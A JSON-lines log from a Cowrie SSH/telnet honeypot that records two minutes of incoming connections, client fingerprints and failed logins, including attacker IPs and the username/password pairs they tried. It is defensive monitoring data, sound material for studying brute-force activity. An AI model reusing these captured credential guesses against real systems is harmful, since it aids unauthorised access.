{"eventid":"cowrie.session.closed","duration":33.75170397758484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:42.625018Z","src_ip":"192.119.13.58","session":"6a6c2b9380ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14749789237976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:44.897668Z","src_ip":"192.119.13.58","session":"9ded11886ae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.702640771865845,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:50.218043Z","src_ip":"192.119.13.58","session":"4af026e62d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.46609354019165,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:51.124976Z","src_ip":"192.119.13.58","session":"e9fa001aed24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.097651958465576,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:52.578165Z","src_ip":"192.119.13.58","session":"f6dde0a49fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48850,"dst_ip":"10.17.0.5","dst_port":23,"session":"a683fd7ff2ad","protocol":"telnet","message":"New connection: 192.119.13.58:48850 (10.17.0.5:23) [session: a683fd7ff2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:53.395114Z"}
{"eventid":"cowrie.session.closed","duration":45.08677268028259,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:54.307585Z","src_ip":"192.119.13.58","session":"4c9e55dc2de4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34078,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df86c8d6158","protocol":"telnet","message":"New connection: 192.119.13.58:34078 (10.17.0.5:23) [session: 8df86c8d6158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:55.756685Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"4675ea359450","protocol":"telnet","message":"New connection: 192.119.13.58:45552 (10.17.0.5:23) [session: 4675ea359450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:58.552087Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47400,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b8b9e24b8a","protocol":"telnet","message":"New connection: 192.119.13.58:47400 (10.17.0.5:23) [session: 92b8b9e24b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:59.987536Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59462,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df8432cab4c","protocol":"telnet","message":"New connection: 192.119.13.58:59462 (10.17.0.5:23) [session: 2df8432cab4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:01.705178Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33488,"dst_ip":"10.17.0.5","dst_port":23,"session":"21815a3a7d95","protocol":"telnet","message":"New connection: 192.119.13.58:33488 (10.17.0.5:23) [session: 21815a3a7d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:02.246144Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34500,"dst_ip":"10.17.0.5","dst_port":23,"session":"df84d6442953","protocol":"telnet","message":"New connection: 192.119.13.58:34500 (10.17.0.5:23) [session: df84d6442953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:02.483342Z"}
{"eventid":"cowrie.session.closed","duration":38.92539739608765,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:03.371121Z","src_ip":"192.119.13.58","session":"f14f1a8a55a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49434,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf174b92962f","protocol":"ssh","message":"New connection: 80.94.92.184:49434 (10.17.0.5:22) [session: bf174b92962f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:04.481025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:04.486090Z","src_ip":"80.94.92.184","session":"bf174b92962f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:04.587109Z","src_ip":"80.94.92.184","session":"bf174b92962f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:04.896946Z","src_ip":"80.94.92.184","session":"bf174b92962f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:06.005163Z","src_ip":"80.94.92.184","session":"bf174b92962f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56194,"dst_ip":"10.17.0.5","dst_port":23,"session":"082823c73975","protocol":"telnet","message":"New connection: 192.119.13.58:56194 (10.17.0.5:23) [session: 082823c73975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:07.941193Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54258,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9a91f53c80d","protocol":"ssh","message":"New connection: 103.153.68.219:54258 (10.17.0.5:22) [session: f9a91f53c80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:14.854975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:14.867460Z","src_ip":"103.153.68.219","session":"f9a91f53c80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:15.121767Z","src_ip":"103.153.68.219","session":"f9a91f53c80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234rewq","message":"login attempt [root/1234rewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:15.885204Z","src_ip":"103.153.68.219","session":"f9a91f53c80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:17.141804Z","src_ip":"103.153.68.219","session":"f9a91f53c80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.18688774108887,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:17.196397Z","src_ip":"192.119.13.58","session":"ae88c3f499ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"727b125e6f9b","protocol":"telnet","message":"New connection: 192.119.13.58:45216 (10.17.0.5:23) [session: 727b125e6f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:19.511829Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":60826,"dst_ip":"159.203.135.109","dst_port":23,"session":"81c42feb9e21","protocol":"telnet","message":"New connection: 186.195.16.41:60826 (159.203.135.109:23) [session: 81c42feb9e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:25.961595Z"}
{"eventid":"cowrie.session.closed","duration":0.20617413520812988,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:26.167641Z","src_ip":"186.195.16.41","session":"81c42feb9e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60556,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd83a8b5644","protocol":"telnet","message":"New connection: 192.119.13.58:60556 (10.17.0.5:23) [session: acd83a8b5644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:31.476297Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d6c82ee409","protocol":"telnet","message":"New connection: 192.119.13.58:38856 (10.17.0.5:23) [session: e3d6c82ee409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:32.008831Z"}
{"eventid":"cowrie.session.closed","duration":36.65754222869873,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:32.414109Z","src_ip":"192.119.13.58","session":"8df86c8d6158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.14826941490173,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:34.543268Z","src_ip":"192.119.13.58","session":"a683fd7ff2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9459753036499,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:35.933390Z","src_ip":"192.119.13.58","session":"92b8b9e24b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":48224,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4bd76b784fe","protocol":"ssh","message":"New connection: 103.75.183.219:48224 (10.17.0.5:22) [session: a4bd76b784fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:40.448927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:40.453682Z","src_ip":"103.75.183.219","session":"a4bd76b784fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45926,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e2846ee53e","protocol":"telnet","message":"New connection: 192.119.13.58:45926 (10.17.0.5:23) [session: b0e2846ee53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:40.692615Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:40.703207Z","src_ip":"103.75.183.219","session":"a4bd76b784fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer12","message":"login attempt [root/qwer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:41.450986Z","src_ip":"103.75.183.219","session":"a4bd76b784fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:42.703291Z","src_ip":"103.75.183.219","session":"a4bd76b784fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.35734558105469,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:45.840549Z","src_ip":"192.119.13.58","session":"df84d6442953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37164,"dst_ip":"10.17.0.5","dst_port":23,"session":"245bcb8f9272","protocol":"telnet","message":"New connection: 192.119.13.58:37164 (10.17.0.5:23) [session: 245bcb8f9272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:46.081692Z"}
{"eventid":"cowrie.session.closed","duration":46.48100519180298,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:48.186131Z","src_ip":"192.119.13.58","session":"2df8432cab4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":31895,"dst_ip":"10.17.0.5","dst_port":22,"session":"6495b99406a4","protocol":"ssh","message":"New connection: 2.57.121.112:31895 (10.17.0.5:22) [session: 6495b99406a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:49.295254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:49.300076Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:49.399594Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.07048225402832,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:49.622490Z","src_ip":"192.119.13.58","session":"4675ea359450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51576,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cae053415f4","protocol":"telnet","message":"New connection: 192.119.13.58:51576 (10.17.0.5:23) [session: 2cae053415f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:49.738930Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29041968","message":"login attempt [admin/29041968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:49.870376Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290284","message":"login attempt [admin/290284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:50.973447Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.12398386001587,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:51.065089Z","src_ip":"192.119.13.58","session":"082823c73975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.832576513290405,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:51.078608Z","src_ip":"192.119.13.58","session":"21815a3a7d95","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29021972","message":"login attempt [admin/29021972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:52.075943Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290189","message":"login attempt [admin/290189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:53.179294Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290183","message":"login attempt [admin/290183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:54.283118Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:55.387406Z","src_ip":"2.57.121.112","session":"6495b99406a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.68836331367493,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:59.200098Z","src_ip":"192.119.13.58","session":"727b125e6f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dce11c7f433","protocol":"telnet","message":"New connection: 192.119.13.58:34070 (10.17.0.5:23) [session: 6dce11c7f433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:52:59.390938Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43906,"dst_ip":"10.17.0.5","dst_port":23,"session":"024b7542c4bd","protocol":"telnet","message":"New connection: 192.119.13.58:43906 (10.17.0.5:23) [session: 024b7542c4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:01.812578Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32812,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd660c31174","protocol":"telnet","message":"New connection: 192.119.13.58:32812 (10.17.0.5:23) [session: bbd660c31174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:05.961915Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5048c28b18f2","protocol":"telnet","message":"New connection: 192.119.13.58:39676 (10.17.0.5:23) [session: 5048c28b18f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:07.703425Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53762,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0848bde0b02","protocol":"telnet","message":"New connection: 192.119.13.58:53762 (10.17.0.5:23) [session: b0848bde0b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:11.290474Z"}
{"eventid":"cowrie.session.closed","duration":0.004416942596435547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:11.294785Z","src_ip":"192.119.13.58","session":"b0848bde0b02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58024,"dst_ip":"159.203.135.109","dst_port":22,"session":"e58c4bd095d8","protocol":"ssh","message":"New connection: 193.37.70.224:58024 (159.203.135.109:22) [session: e58c4bd095d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:11.596900Z"}
